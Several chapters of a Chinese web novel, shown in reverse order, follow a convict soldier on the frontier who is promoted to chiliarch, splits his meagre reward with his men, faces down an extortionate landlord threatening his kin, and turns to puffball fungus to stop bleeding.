只有叶十三看着面生,那绝对就是刚混上了千户位子的那个奴籍兵卒。
一个奴籍,居然混上了千户职,不知道是给上面塞了多少银子?
反正,这些人心里都是如此想的。
至于嘉奖令中所杀的那些鞑子兵,这个完全可以编造杜撰,反正除了黄羊岘的烽燧兵以外,他们又没亲眼看到。
再说,之前的伍长和什长都死了,谁知道是怎么死的?
何况,就黄羊岘烽火台,直接战损一半。
说不定,是那五人杀了个把鞑子,军功却被这个奴籍兵卒冒了。
被贬为奴籍充军到此的人,大多都是内地有门庭的家族,拿银子巴结上面,那是最有可能的。
既然马成把话挑明了,这些人也就躬身拱手。
“沙窝梁烽火台……”
“五里营烽火台……”
“交河埠烽火台……”
“狼嚎岭烽火台……”
“鹞子岭烽火台……”
“兔窝堡烽火台……”
“落雁坡烽火台……”
“通古驿烽火台……”
“……”
九个烽火台的伍长什长,相继都报了名字,叶十三却一个都没记住。
叶十三挺了挺胸,拔直了腰杆,道:“诸位辛苦,先到营房歇着,外面太冷了。”
时值隆冬,不冷才怪。
“谢叶千户大人……”
众人又是拱手一礼,全部进入营房的屋子坐了。
这些烽火台比较分散,有的和村子挨着,有的纯属建在荒野地带。
他们看得出来,马成现在是这个叶千户的跟班亲随。
但从他们刚才对叶十三的打量中,并没有发现这个新上任的下千户叶十三有何出众的地方。
就那懒散样子,一个嘴巴就能抽得他翻三个跟斗。
还杀鞑子?
屁!哄鬼去吧!
众人心中如是骂着,但叶十三已经被晋升为下千户,那就是大他们五级都不至的人物了。
尽管心里有百般的不服,但也不敢明着说出来。
不管如何,人家再是草包,那也是千户职。
是统领这一带烽火台驻军的最高军事长官。
眼下,算上黄羊岘烽火台的烽燧兵,加上两个大村里的游击驻军,说是五百兵数的驻防兵力,其实兵数还不足八成。
虚报兵数,冒领空饷,那在军中并不少见。
要是再筛选掉一些病弱老残,有实战能力的兵卒,估计在此基础上还要减少两三成。
就是如此虚报冒领,但发到手的粮饷,也是少得可怜。
层层盘剥,已经到了惊心触目的地步。
“大人,他们有可能是听到了风声,前来要粮饷的。”
趁着叶十三去茅厕的空子,马成赶了出来提醒了叶十三一句。
他看得出来,这些人绝不是只为参见新长官而来,这是伸手要钱,张口要粮来了。
烽燧兵和沿线驻军的粮饷被克扣、拖欠,那是常有的事。
叶十三有些觉得,他辖下的这些兵马,倒像是前世现代自负盈亏的保安公司。
凡是吃的用的,一应所需,都得他这个私企老板来解决。
草!
什么晋升?
这他娘的就是个坑。
拉了一泡屎也没把肚里怨气泄掉的叶十三,稳稳神后,拔直了腰杆又进了屋子。
一进屋,就有一个伍长站了起来。
“禀千户大人!”
伍长躬身拱手,道:“兔窝堡烽火台年久失修,燧道塌陷,拦马沟被暴雨冲毁已有半年之久,在编兵数五人,已有两月未见粮饷发放。”
“禀千户大人,鹞子岭烽火台,有两人抚恤金至今还未发放,而且战损二人的空缺,还未补上。”
另一名伍长也见机站起,深躬一礼后报上了现状。
紧接着,沙窝梁、五里营、交河埠……烽火台剩下的伍长什长们,纷纷起立大倒苦水。
无一不是要钱,要粮,要人。
草!
这才是九个烽火台的伍长什长们,要是驻军的两个百夫长带上六个甲正来,再向他这个头顶军衔,手中无钱的千户要这要那,就把查抄了何家的钱粮全部拿出来都不够分配。
“去,你喊丁威过来,趁着大家都在,开会。”
眉头紧蹙的叶十三,让马成去烽火台换丁威来营房。
眼下,丁威还是黄羊岘烽火台的伍长。
片刻后,丁威到了。
叶十三目光一扫全场,望着一张张讨债鬼似的脸,知道该如何做了。
一,二,三……十锭雪花银被放在桌上。
每锭十两,共一百两。
“诸位,军部无另外的军饷发放下来,此银数量不多,大家各拿十两以解眼下之急。待日后有军资配发下来,本千户再另行分配。”
叶十三说完,端起眼前早已凉透了的半碗隔夜茶张口就喝。
“千户大人不可!”
见叶十三如此,丁威大惊道:“这一百两银子,那是分给大人您的赏银,这份奖赏本来就不多,大人要是全给了他们,您自己咋办?”
丁威知道,这一百两银子,是昨晚平分了的那份。
是叶十三泼了命挣来的军功。
“呵呵!”
不料,叶十三一笑,淡淡道:“大惊小怪,本千户还以为你说这茶不能喝呢!”
说罢!叶十三把喝空了的茶碗,往桌上一放。
这一下,在座的九人不淡定了。
这新上任的叶千户,把自己的一份赏银,均分给他们。
“丁伍长,你也拿十两,给弟兄们填补点过冬的衣物。”
丁威昨晚和其他人一起,已经每人平分了一百两银子,这本来就是为家里人得了一笔巨款。
但眼下叶十三又一视同仁,把他的那份,再次平分给他们这些伍长什长。
“千户大人不可啊!”
丁威眼眶一红,当场就给叶十三跪了下来。
“还请大人收回成命,您家里也有老娘和妹子要养活,就这一百两赏银,小的们都拿走了,您家里该如何办?”
丁威的话,同时也让其他九人心头一震。
“拿着,这是命令!”
叶十三骤然变脸,冷声就是一句。
军令如山,谁敢不从?
何况,这是发银子,又不是去送死。
“遵命!”
丁威站了起来,走动桌前抓起一锭银子揣进怀里。
另外九人见状,也纷纷上前,抓起银子就紧紧攥着,生怕慢上一步叶十三会改变主意。
见众人拿了银子,叶十三又道:“即刻起,现有伍长升什长,原什长不变,但每月饷银加二两银子。”
“谢千户大人!”
面上神情一愣的几个伍长,霎时就跪下听令。
叶十三嘴角一扬,又道:“眼下天寒地冻,除了流沙地带以外,其余地带无法修筑工事,关于一切防御工事,要等天暖再说。”
“你们现已都是什长职,有缺编的烽火台,自行补够兵数,眼下战事随时都会爆发,你们都给我把眼睛擦亮了。”
叶十三画完饼,又补充了一句。
要得带好这班人马,必须让他们尝到甜头看到希望,但也不能由着他们乱来。
如此一想,叶十三站了起来,向丁威道:“煮饭,吃完后跟我去一趟芦河湾村,何家那边,军部还欠着给我们的嘉奖。”
第50章 嘉奖
果然,周钊翻开军函。
目光再次从叶十三脸上扫过,提高了声调,朗朗读道:“大夏北防军戍边令,今有奴籍兵卒叶十三,值守黄羊岘烽火台期间,尽职恪守,英勇歼敌,念其军功晋升下千户职,今日起,统领芦河湾村,野驴滩村,落雁坡村,狼嚎岭村,鹞子岭村,兔窝堡村,以及黄羊岘东西防线十个烽火台与驻地守军。”
读完军函,周钊又从一旁兵士手中接过一面巴掌大的铜牌,递向叶十三面前又道:“此腰牌为下千户军职特有,凭此腰牌,可在你统领辖区行下千户军务。”
叶十三双手举顶,恭敬地接过那枚铜质腰牌后,脑子里一时间没算过账来,居然忘了致谢。
好在,周钊似乎并不计较这些俗礼,目光环顾四周一番,微微皱眉,知道这地方也没一顿像样的饭食,更别说有何等的好酒菜招待了。
面对穷得叮当响,四处漏风的营房,周钊让兵士把所带的东西交给叶十三。
指着地上的一只箱子,周钊笑道:“原本是没有银两嘉奖的,本将极力争取,上面这才勉强批了一些,拿去给值守的弟兄们分了。”
临出营门,周钊像是又想起什么?
转过头后,思忖片刻,又道:“被抄没的何家屯粮,眼下还在就地封存,镇上衙门会归公处置,自可留下三成给你调配,至于田亩,只能从何家的田产中,划拨五百亩给你,不过地块由你来挑选,上报军部备案就可。”
待周钊走后,田兵们纷纷上前向叶十三道贺。
徐老六更是一脸欣喜,嚷嚷着就要宰羊庆贺。
草!
愣了半天神的叶十三,终于回过味来。
这嘉奖,他娘的打了不少折扣。
要是严格按朝廷给北防军的嘉奖条例算,他能得到的田亩,两千亩都不止。
就是赏银,更不下五千两。
至于军职,虽然是个从六品的下千户,小是小了点,但还能说得过去。
这些鸟人!
真他娘的不厚道。
合着军部一毛都没拔,从查抄的何家财产中,捏了一撮出来就算是嘉奖他了?
从军职看,下千户已经不小了,手下可管十个百夫长,三十个甲正。
就是靠近边防线村子的驻军,其数量也不足五百人,而且只有两个村子才配有驻军。
除了这些,剩下的就是这七个村子的村民。
与其说是统领他们,还不如说是把一个张着嘴巴嗷嗷待哺的包袱甩给了他。
还道贺?
贺个吊毛!
想到这里,叶十三急不可待地打开箱子,却只看到五百两银子。
五十只银锭,每锭十两。
这一下,叶十三的脸,霎时就绿了。
杀了那么多鞑子,就给这么点赏银?
这与朝廷嘉奖令通告中所公布的数额,相差也太远了。
稳如老狗的徐老六走上前来,站在叶十三面前,苦笑道:“已经不错了,有人揪住你越境夜袭鞑子驻军牧场的事不放,说要是引起元蒙鞑子由此向我大夏全面开战,会将无数的百姓拖入战火,会使我大夏疆域有被元蒙蚕食的可能,军部的几位大人理据力争,这才功过相抵,但还是争取到了一些嘉奖,虽然比不上通告上的那样,但有了总比没有好。”
看到叶十三拉着一张脸不说话,徐老六又道:“其实,是何家的那些靠山在背后作祟,这些地方衙门的老爷们,明着不敢为何家昭雪,但揪住你私越边境的事大做文章,你的功劳,各位将军大人都放在心里,现在北防军缺钱少粮,就这些还是周将军再三争取下来的,要不是之前骁骑尉放过话,周将军再是努力,怕是连这些都争取不到。”
此时,营房上空的烟尘,已经完全散尽。
“去,把那只羊宰了,饱餐一顿再说。”
尽管如此,叶十三还是不想拂徐老六的面子。
那些田兵们,其实也够辛苦的了。
就眼下这些人,一只羊还是够吃了。
酒是没有了,但吃饱肚子,比喝酒更实惠。
叶腊八就不同了,他和躲藏在隔壁屋子里的叶举,听到叶十三被擢升为下千户的那一刻,还怀疑是自己的耳朵听错了。
直到周钊带着随从离开,他二人才敢从隔壁屋子里出来。
得到叶十三宰羊的命令,叔侄二人顿时喜上眉梢,屁颠屁颠地就去牵羊来宰。
好在徐老六带着的这些田兵,在叶十三面前并不见外,纷纷上前,主动烧饭煮茶,高兴得就像过年一样。
……
晚上,夜深人静。
抱着箱子的叶腊八,跟叶十三来到烽火台。
叶十三大致上把周钊带来的消息复述了一遍。
指着箱子说道:“就这些,大伙平分了吧!”
此言一出,其余四人无不大吃一惊。
他们心里清楚,所有的战功,都是叶十三所立,他们只是跟着沾光而已。
这平分赏银,在军中可是从来没有过的。
“千户大人,小的受之有愧,有口吃的就行,银子还是您拿着吧!”
丁威急忙摆手,带头表明了态度。
“是啊!”
马成也是连连摇头,说道:“如此说来,没有追究我等的越界滋事之罪,就已经烧高香了,哪敢还和大人您平分银子?”
“言之有理。”
“马成所言极是。”
剩下张发和李富贵二人,也点头称是,表示听从马成和丁威的意见。
除了叶十三之外,其他与之相关的人,都高兴得不得了。
嘉奖虽然被严重打折,但对他们来说,有,总比没有要好。
田地,银子,还能分一些粮食供家人度过饥荒。
叶十三死活是高兴不起来。
周钊匆匆而来,又匆匆而去,这说明此地还是危机万分,北防军的将领们都不愿多待一刻。
就那十来个随从,要是真遇上四处流窜的小股鞑子兵,看起来威风凛凛的北防军根本就不堪一击。
“眼下,徐老六送来的粮食,加上我们从鞑子驻地抢的,加起来应该能撑一阵。”
叶十三瞥了一眼其他几人,又道:“就看就地封存了的何家的屯粮,衙门运走时能留多少给我们?”
说是要留三成抄没的屯粮给叶十三,但这话,听着就行,不可全信。
能有一两成的粮食留下,就算衙门办事的人大发慈悲了。
烽燧兵们的家人,照样缺少过冬的粮食。
不当家不知柴米贵,眼下叶十三肩上的担子,比当个什长重多了。
不想再回营房睡觉的叶十三,靠在火塘边,目光一瞥马成,道:“马架子还有吗?”
“有一些,不过肉厚的地方都削完了,烤熟了还能对付着啃一阵。”
“好吧!剁几根骨头过来,架火塘上让烤着。”
“是,千户大人。”
马成立即去办,叶十又把目光投向叶腊八,道:“营房喂马的活,有二叔一人干就够了,烽火台这边人手紧缺,你要是愿意,跟他们几个学值哨?”
此言一出,叶腊八喜出望外,在自家兄弟手下当个烽燧兵,总比罚苦役要强多了。
“谢千户大人。”
叶腊八再没喊叶十三为“闰儿”,而是喊他的军职。
深深一躬,抱拳施礼,居然还有模有样。
“好了,去忙吧!”
叶十三摆摆手,示意叶腊八上烽火台顶上先跟着张发值夜哨。
望着烤在火塘上的马骨头,叶十三想着先对付过这一顿再说。
徐老六们大吃炖羊肉的时候,他根本没有胃口,这会反而觉得肚里空的难受。
吃饱肚子,就是最高的礼遇,管他娘的嘉奖什么军职……
第36章 这笔账,我认了
叶十三这一笑,眼前围着的人就更加得意起来。
“如何?怕了吧!”
拿着棍子的高个男子,嘴角一扬又道:“识相的,就乖乖拿出银子交了,然后向我家员外乖乖磕三个响头谢罪,不然……”
“不然如何?”
叶十三眼中的杀机越来越浓,眼神冷得让人不寒而栗。
“不然翻倍,让我堂弟从你的饷银里扣二十两。”
何正接过话头,伸出两根胡萝卜一样的手指,向叶十三面前一晃。
“这年头,什么人都出来蒙事了?一个奴籍兵卒,比狗都贱的身份,居然在何员外老爷面前充大?”
又一个提着棍子是人走了过来,斜眼瞅着叶十三,咬着牙说道:“拿银子出来,老子就放过这两条狗,没银子,那就滚回烽火台里凉快去。”
何正也是“嘿嘿”一笑。
“比狗还要贱上三分的奴籍,充了个烽燧兵,还自以为是有出息了,要不是看着你是我那堂弟何虎手下的兵,老子早叫人把你塞冰眼里当冻鱼了。”
说完,何正面色一变,向身边的打手们吼道:“来呀!把这个两个偷鱼的杂碎,扒光了给扔冰面上冻着去,啥时候这小子拿银子回来,再放这俩杂碎回去。”
扒光了衣服扔冰面上?
就这节气,这不诚心要人的命吗?
奴籍的命再是不值钱,那也是由官府发落,哪轮到你一个土鳖做主?
“闰儿,你快走,不要管我们了。”
“兄弟,听哥的话,我和叔死了也就死了,在这地方反正不是饿死就是冻死,没什么可放不下的,倒是你,还有婶娘和彩儿妹妹要靠你照顾,你赶快走,不要再回来。”
一脸悲愤,一脸绝望,一脸恓惶的叔侄二人,极力叫喊着让叶十三赶快离开这里。
再是魂穿而来!
再是和这俩叔侄没有直接的血缘关系,但叶十三此时心中的怒火,已经燃烧到了极点。
“什么?这小子还有妹妹?”
叶家叔侄的话,霎时就勾起了何正的兴趣,凑上一张油汪汪的大脸,嬉皮笑脸地向叶十三说道:“没钱也行,这样好了,就当本员外行善一次,银子罚金不要了,拿你的妹妹顶帐如何?”
何家的这些畜生,果然都是一个嘴脸。
一提妹妹彩儿,叶十三的脸都绿了。
叶十三面颊一阵急抽,咬牙说道:“这笔债,我认了。”
“认了就拿钱,没钱就拿人来顶。”
何正眼中,尽是淫邪之光。
向旁边人挤了一下眼睛,又道:“如何办?你可得想好了再说。”
“不就是银子么?”
叶十三突然笑了,神情诡异得叫人琢摸不透。
目光缓缓从面前那些人的脸上一一扫过,淡淡又道:“想要银子,或者是要人,有胆的,跟我去黄羊岘拿。”
“好,有胆!”
何正面上一寒,愠色说道:“你们,押着这两个狗东西,咱一起去那边拿钱。”
“老爷,这不妥吧!”
还是有人心存顾虑,瞥了一眼叶十三,凑到何正的耳边,又道:“出了村,就是别人的地盘,这?”
“哈哈哈!”
何正仰头,又是一阵狂笑,直笑的一脸的肥肉都抖动个不停。
等笑够了,何正拉下脸来,道:“就是到了烽火台,那也是我堂弟何虎的地盘,就是相邻的屯田村,徐佥事也是认得我的,怕个俅!”
叶十三仿佛没听见何正的狂言狂语,把马牵了过来,向一脸死灰的二人说道:“二叔,堂哥,鞑子的这马可结实了,你二人都骑上去,我们回我娘那里。”
鞑子的马?
这时候,何正他们,这才把目光投向叶十三牵着的马身上。
“好啊!”
何正脸色陡然一变,吼道:“这小子,居然偷了佥事大人的马?”
“没错,烽燧兵没什么好马的,这马一看就是上等良驹,除了屯田村的佥事徐大人,谁还有如此得力的健马?”
“我说,把这小子给绑了,送到屯田村徐佥事那里,还能落一份天大的人情。”
何正的打手们,顿时就兴奋了起来。
“不碍事!”
何正阴阴一笑,道:“就让这小子先逍遥上一阵,等到了地方,自然会有人收拾他的。”
说话间,有人赶了一辆马车过来,何正扭着肥胖的身子,上了车后,迫不及待地就跟在叶十三身后向黄羊岘方向奔去。
半晌时间过去,屯田村到了。
牵着马走在最前面的叶十三,却没有急着回营房,而是直接把马牵到了徐老六公务的签房大院。
走在前头的叶十三一进入签房的院子,后面紧跟着的何正一行,立刻就把签房的院门给堵住,生怕叶十三耍个心眼给溜了。
此时的叶举和叶腊八二人,早已吓得瑟瑟发抖。
被扶下马后,二人一个站立不稳,一屁股就坐在了地上。
叶十三把目光投向一名值守的田兵,沉声道:“快去岘口,请徐佥事过来一趟,就说我要看他升堂断案。”
望着田兵飞奔而去的背影,何正脸上浮起一丝得意的笑意,嘲讽道:“看来,你还挺有自知之明的哈!”
叶十三理都没理一脸得意的何正,伸手把地上的叔侄二人给扶了起来,轻声说道:“咱先进屋,屋里暖和。”
早有看到叶十三到来的两名年老田兵,颤巍巍地端了一只火盆过来,垒起牛粪,就把火生了起来。
平日冷清的签房,突然来了如此多的人,周围闲赋在家的老少们,纷纷围了过来看热闹。
人围得越多,叶家叔侄二人就越是紧张。
相反,何正看到如此多的人围着,脸上得意的神情更是高涨了几分。
“去,跑一趟烽火台,把我那当伍长的堂弟何虎给请到这边来,就说老爷我要处置姓叶的这个杂碎。”
一名打手心领神会,点点头就出了签房所在的院门。
不一刻,徐老六带着一班田兵,风风火火的从岘口值守点赶来。
一打照面,身为佥事的徐老六,向着叶十三拱手就是一礼。
“叶什长如此急召,不知有何紧急军务?”
此言一出,满脸讪笑着正准备上前向徐老六行礼的何正,心头顿时一惊。
叶什长?
这佥事大人何等身份,居然向一个奴籍兵卒行礼?
第35章 族人
叶十三这是怎么了?
看到叶十三神色有异,田兵吓得不敢吭气,备了马就牵了过来。
出了营房,夜十三信马由缰,不一刻就来到离屯田村最近的野驴滩。
马蹄所到之处,无一不是残垣断壁,枯枝败草遍地都是,冒着炊烟的屋舍,也是寥寥无几。
这地方紧挨着屯田村,往西就是放牧为主的落雁坡村。
根据烽燧兵们零星的描述,丁威的家,应该就在这里。
除了他这个奴籍兵卒,现有的其余四人,都是从周边的村子应征入伍的。
边民入伍,那是在正常不过的事。
男丁一到十六周岁,就会入伍北防军。
望着眼前的破败景象,叶十三能想到,其他的村子,大致也是如此。
虽然是闲动,也不见有闲人在村里游荡。
一脸茫然的叶十三,勒着马头向南又是一阵疾驰。
又一处村落出现在眼前。
这处村落,要比看到的其他村子好多了,而且紧靠着芦河。
芦河绕村半周,向东而去的地方,就是芦河渡村。
这两个村子,叶十三有点印象。
从镇里发配到黄羊岘,他和母亲还有妹妹,是经过了这里的。
这里紧挨着芦河,属于水草丰茂的放牧区。
但这里的房屋,要比屯田村的要好多了。
泥巴垒就的房屋,周围又是石块堆成的围墙。
围墙也是和房屋一样低矮。
因为地势相对平坦,加上房屋的低矮,视线相对就开阔了起来。
正在叶十三举目四望的时候,有吵闹声隐约传来。
遁声望去,远处的河滩上,似乎围着一群人。
“俅!”
叶十三双腿一夹马肚,向着河滩方向奔了过去。
“大爷,行行好吧……”
有人哀求的声音,越来越近。
“未经允许,谁让你砸冰捞鱼的?”
是有人在呵斥别人。
“大爷啊!我们饿呀,再说这鱼是河中自有,捞一些也没关系……”
有人在极力辩解,声音貌似有点熟悉。
“要么罚银十两,要么各打断你二人的一条腿。”
呵斥声严厉至极,似乎有人冒犯了天威一样。
叶十三离围着的人群越来越近,马蹄声惊得围观的人纷纷转头,齐齐看向他这个不速之客。
为首一人,大腹便便,穿着狐皮领子的棉袄,显得他肥胖的身子更加臃肿。
叶十三的目光,却投向地上趴着的两人。
芦河在这里拐了个弯,河面比其他段落宽阔一些。
时值隆冬,河面结着厚厚的冰,冰面已经被人凿出一个面盆大小的洞。
几条红腹鲤鱼,已经被冻在冰面上,一些简单的捞鱼工具,也被扔了一地。
很显然,是有人凿冰捞鱼。
叶十三下了马,一步步走向倒在地上的二人。
待叶十三走近,趴在地上浑身都是泥巴,蓬头垢面的一个男子惊叫起来。
“闰儿,你来干什么?”
闰儿?
这一声闰儿,叫得叶十三心头一凛。
“真的是闰儿,你赶快走,不要管我和二叔。”
另一个同样蓬头垢面的男子,吃惊地望着叶十三。
大冷的天,破衣烂衫的二人,居然脚上裹着破布还穿着草鞋。
“你们?”
似曾相识的感觉,从叶十三的脑海中一闪而过。
叶十三极力从前身残存的记忆中,努力地搜寻着关于眼前这二人的碎片。
“认识?那好啊!”
红光满面,肥头大耳的棉袍男子,向叶十三投过来轻蔑的一瞥,傲然说道:“正好,这俩杂碎的十两罚银,你给交了吧!”
叶十三没有理会说话的胖子,缓缓上前,在地上趴着的二人面前蹲了下来。
“闰儿,我是你二叔叶举啊!”
年纪稍大的男子,眼眶里涌出泪来,指着身边趴着的另外一人,哽咽道:“你不记得了?他是腊八,你堂伯家的老大,也是你的堂哥叶腊八呀!”
叶举,二叔?
堂哥,叶腊八?
想起来了,一同被流放的,还有一些族人。
从京都千里迢迢,历尽千辛万苦,到了这边城之地,活下来的,也就不多的几个人了。
“叔,哥,你们这是?”
叶十三说着,伸出两手,把地上趴着的二人给硬拽了起来。
“唉!”
叶举叹了口气,恓惶道:“都是饿的,看到这河面结冰,想着可能有鱼,这不,我就和你腊八哥凿开冰面,拿芦花做诱饵,好不容易弄了几条鱼……”
明白了!
是堂叔叶举,和堂哥叶腊八,忍受不了腹中无食的饥饿,这才想到河面上凿冰捕鱼用来填肚子。
“他们是?”
叶十三转过头来,眼中寒芒四射,冷冷看向围观的一群人。
“是这村的何员外。”
叶举目光闪烁,怯生生的低下头来,小声回答了一句。
“他们,打你和堂哥了?”
叶十三回过头来,向叶举又是一问。
这下,叶腊八抬起头来,抢着答道:“何员外说,这段河道,是他何家所有,在此捞鱼,理应该罚。”
“他们,索要十两银子的罚金,要是交不起银子,就要打断我和二叔的一条腿。”
叶腊八又是一句,然后低下头来不敢和那些人对视。
这时候,那个被称为何员外的胖子,轻蔑地一瞥叶十三,仰着一张油汪汪的大脸说道:“我还以为是谁呢?原来是个奴籍兵卒,今天要是拿不出钱来,老子叫人从你的饷银里面扣,而且,还是带利息的。”
饷银?
老子的饷银,何时让你做主了?
叶十三眼里寒芒闪过,一扫眼前拿着棍棒的十来个男子,冷声道:“河道乃自然形成,又不是开垦的田地,何时由你说了算?”
“哈哈哈……”
棉袍胖子仰头一阵狂笑,又道:“别说这段河道,就是烽火台,老子照样说了算,你可知道我何正是何许人吗?”
“管你是什么人?与我何干!”
面对何正的狂妄,叶十三硬是正眼都没瞧他一眼。
这时,何正身边一个拿着棍子的人走上前来,傲慢地仰起下巴,道:“不长眼的东西,何员外乃是你上司何虎何伍长的堂兄,要是何员外一句话,何虎伍长定让你这吃不了兜着走,一个奴籍兵卒,也敢在何员外面前站着说话?”
明白了!
眼前这个叫何正的死胖子,原来是何虎那鸟人的堂哥。
不提何虎便罢,这一提何虎,叶十三的眼里,一片杀机顿时就迸溅出来。
这些鸟人,还不知道何虎已经被老子给宰了?
拿一个死了的伍长,来吓唬老子,你们他娘的睡醒了没有?
“何员外是吧?”
叶十三笑了,笑得有些诡异。
第34章 没看出来,你还有这才能
看来人的穿着打扮,是军部的人。
一行四人,椅子上坐着的,应该是个甲正。
“你,就是这黄羊岘烽火台代什长叶十三?”
“是,我就是叶十三。”
“奴籍?”
甲正又是一问,叶十三的心,就像针刺了一下,道:“是奴籍。”
“你身为代什长,为何不在烽火台岗位?”
“我去检查工事,有协防的田兵受伤,刚救治完毕。”
“工事?”
“是的,这几日,我带领其他烽燧兵,修了一些防御工事。”
“没看出来,你还有这才能?”
“没有新的工事做防御,光靠烽火台示警,这恐怕远远不够。”
“就你们几个烽燧兵,能挖多大的工事?”
“我找屯田村的田兵协防,共同抵御外敌。”
“好大的口气,田兵协防,你一个烽火台最多十人的编制,能拿出协防人员所消耗的军资?”
“军资是没有,我有粮食补偿他们。”
“粮食?”
甲正神情一凛,正色又道:“据我所知,别说你一个烽火台,就是周围百里的所有村子,眼下最缺的就是粮食。”
“我们是没有粮食,不等于岘口之外的元蒙鞑子没有,我是抢了他们的粮食和牛羊回来。”
“大胆!”
甲正闻言色变,面颊一抽,惊道:“如无朝廷降旨,无军部下令,此等行为会挑起两国事端,从而引发战争酿成滔天大祸,你可知罪?”
“元蒙鞑子屡次越界,抢我边民牛羊,物产,屠我村庄,如何就不是挑起两国事端?”
叶十三额头青筋暴起,怒目瞪向高坐在椅子上的甲正。
“可你私自行动,会让朝廷,会让北防军掣肘于人,你想过后果吗?”
甲正的口气稍软一些,望着叶十三频频点头。
叶十三怒从心头起,迎着甲正的目光,道:“身为边军,无援无依,难道让我们烽燧兵饿死在烽火台中?”
“你……”
自知理亏的甲正,被噎得说不出话来。
眼前这个奴籍兵卒,不可等闲视之。
一个连鞑子都敢杀的人,没有他不敢干的事。
一人能杀掉如此之多的鞑子骑兵,这种人是不怕威胁的。
搞不好,一言不合,还会闹出不可收拾的局面。
能仰着面和一个甲正说话的代什长,说明并没有把他这个从军部来的人放在眼里。
思忖片刻,甲正又道:“至于你的战功,军部已经讨论过了,骁骑尉大人回京述职,留下话来,让军部依照朝廷颁发的嘉奖令,核实情况,从而对你进行嘉奖。”
去他娘的!
骁骑尉大人进京述职?
派一个甲正来,耀武扬威向他核实情况?
叶十三清楚,就是朝廷的嘉奖令下来,到了军部,必然会被克扣掉一层。
军部所拨的粮饷赏银,百夫长和甲正们再拔一层皮。
到了受奖人手里,恐怕已经不足三成。
这种层层盘剥的例子,多得数不胜数,历朝历代都是如此。
这份军功,并不是那么好领的。
至于所赏的田亩。
是在原籍发放,可他这种被贬为奴籍的人,已经是没有了庶民的籍贯。
如果按流放充军地算,现在放眼四周,这边城一带全是无主的田地。
由于受元蒙鞑子肆意横行,不堪忍受的边民居家向内地逃离,丢弃后荒芜下来的土地倒是不少。
到时候,军部随意给你划出几亩或者是十几亩地,在官府备个案,就算是把朝廷的嘉奖落实到位了。
看看眼前这些土地,谁会去种?
沙地已经成了荒滩,而且还没有水灌溉。
原本的水田,又被搁置成了沼泽。
边城之地,不是草原荒漠,就是沼泽和戈壁。
在这种环境中务劳出一片良田谈何容易?
有些村里的良田可就不一样了,由于受鞑子侵扰较少,金贵得一亩可达二十两银子的市场价。
再说,元蒙鞑子频繁越界抢掠,就是种了庄稼,有没有命去收割还是另一回事。
嘉奖田亩,如果是饱受侵扰的区域,对叶十三来说,就等于是没有嘉奖的一样。
叶十三已经猜到了甲正的来意,看来,军部对他的嘉奖,是要把边城作为他的籍贯来落实。
甲正走了个核实的形式,带着随从就离开了黄羊岘烽火台的营房。
接下来几天,该干嘛还干嘛!
好在接连几天,屯田村也安然无恙,没有元蒙鞑子进犯黄羊岘隘口。
尽管如此,徐老六还是组织训练那一百来人的田兵,继续协防岘口一带。
叶十三依旧给烽火台只留两个人值守,另外两人,值崖顶一带的流动哨。
眼下有了战马,流动哨就轻松多了,而且位置也不固定,范围可达二三十里。
得知军部来人,已经再一次核实过了,剩下的四人就像打了鸡血一样振奋,时刻盼着嘉奖颁发下来。
说白了,这些功劳,都是叶十三给大伙挣来的。
他们几个,由此沾光不少。
根本不用叶十三监督,每个人都把自己的军务,干得是井井有条。
他们也不再自己煮饭,何秀儿按时煮好了饭,直接送到烽火台通道口。
就是游动哨所带的干粮,也不需要他们动手,何秀儿全都准备齐全了。
令叶十三小有成就感的是,韩老三能下地了,腰虽然还弯着不是很直溜,但能下地走动,这说明叶十三的治疗已经很有效了。
但也是这一点,叶十三再一次让田兵们惊震万分。
一个新入伍不久的奴籍小子,居然能把鬼门关上的人给硬拉回来。
手段狠辣,杀伐决断,而且还有一手高超的医术,这让田兵们顿觉有了一些依仗。
叶十三的存在,让已经鲜有鸡鸣狗咬的屯田村,慢慢萌生出了不少的活力。
没有能力回内地的人,只好扎根在这地方。
屯田村周围的村子,原住民也是一样,苦苦在这片动荡不安的土地上支撑着。
一次次地被鞑子洗劫,这些村子,已经衰败得惨不忍睹。
一顿饱饭,就能让一个原本恪守妇道的女人脱下裤子。
如此想着,叶十三决定,自己骑马到各处转转。
自流放充军以来,从镇上的兵站,直接发配到黄羊岘。
至于周边,他也只是听说过几个村子的地名而已。
比如蔡一和何秀儿家所在的那个村子,他就没有去过。
“备马!”
叶十三突然吼了一声,吓得帮忙喂马的田兵差点栽一个跟斗。
第33章 马皮泡儿
止血药?
叶十三转过头来,道:“随军郎中是退伍还乡了,难道就没留下一些刀枪药?”
在军中,刀枪药那可是放在首位的药物,其次才是头疼脑热肚子疼的一些药。
“这个……”
徐老六面上一尬,讪讪道:“说是有军医,实际上也是开个方子,简单处理一些创伤,要是用药,那也得去镇上的大药铺买,村里的药铺就是个摆设而已。”
“没有止血药可不成啊!”
叶十三摇摇头,无可奈何地又道:“当务之急,止血,消炎,生肌的药,必须得有。”
眼下百草枯死,冷冻寒天,就是去采药,也无法实现。
忽然一个念头从叶十三脑子里闪过。
当初在隐秘宗门的时候,师父炼制的一种黑色药膏,就是用一种叫“马勃”的菌类为主要原料。
菌类不似草木,就是枯萎了,也是有痕迹残留的。
“你们知道马勃吗?”
叶十三的目光,一扫在场的众人。
马勃?
徐老六一脸茫然地摇摇头。
其他的几个田兵,也是一头雾水。
“就是外形较圆,个头大的足有海碗大小,就是小的,也有核桃枣儿般大。”
叶十三凭着记忆,大致上描述了一遍。
仔细又想了想,补充道:“那玩意儿,夏天的时候是白色,就像蘑菇一样,冬天枯萎,外皮黑色,个头缩小,破裂后有黑色的粉末……”
“马皮泡儿……”
叶十三的话还没说完,地上跪着的一个半大小子急急蹦了起来。
“马皮泡儿,什长大人说的,就是我们这里的马皮泡儿,我曾经采过马皮泡儿,去镇上药铺换过钱的。”
说话的是韩老三的老大儿子韩庆。
韩庆的这一叫喊,在场的人纷纷附和起来。
“是啊!我怎么没想起来这个?”
“还真是马皮泡儿,有一次割草伤了手指,刚好草丛里有个马皮泡儿,撕开后贴了后,没几天伤口就好了……”
“打牧草的时候,经常割破手指,用的就是马皮泡儿止血的。”
“咱这里的马皮泡儿,和叶什长说的马勃,也许就是同一种东西。”
面对众人的纷嚷,叶十三一阵激动。
管它是马勃还是马皮泡儿?
只要管用,找来用就是了。
“如何能找到它?”
眼前一亮的叶十三,迫不及待的就问了起来。
“我能找见!”
韩庆一脸兴奋,神情激动地说道:“冬天也能找见,只是比较难找一些,好在今年没有下雪,在阴湿一些的地方应该能找见干枯了的马皮泡儿。”
这玩意儿,新鲜的还真没用。
